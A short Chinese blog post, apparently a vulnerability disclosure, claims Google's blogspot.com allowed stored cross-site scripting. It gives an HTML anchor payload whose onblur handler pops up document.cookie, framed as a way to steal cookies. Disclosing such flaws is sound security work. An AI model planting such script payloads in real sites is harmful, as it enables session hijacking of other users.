Google的博客blogspot.com窃取cookie漏洞

最新推荐文章于 2025-07-01 16:53:57 发布

原创最新推荐文章于 2025-07-01 16:53:57 发布 · 617 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#google #javascript #border #float #html

‖漏洞公布‖ 专栏收录该内容

14 篇文章

订阅专栏

本文介绍如何在Google的Blogspot平台利用HTML特性来获取网站的Cookie信息。通过一个具体的示例展示了如何通过带有特定JavaScript代码的<a>标签来实现这一功能。

Google的博客blogspot.com站点.
支持html,然后可以在其中插入类似如下内容.获取cookie

<a onblur="javascript:alert(document.cookie)" href="http://bp3.blogger.com/_er6f39OjAgE/RssqA2y7uNI/AAAAAAAAABk/BbeITZK9BAg/s1600-h/5af1scd.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp3.blogger.com/_er6f39OjAgE/RssqA2y7uNI/AAAAAAAAABk/BbeITZK9BAg/s200/5af1scd.jpg" alt="www.winshell.cn" id="BLOGGER_PHOTO_ID_5101217197124729042" border="0" /></a>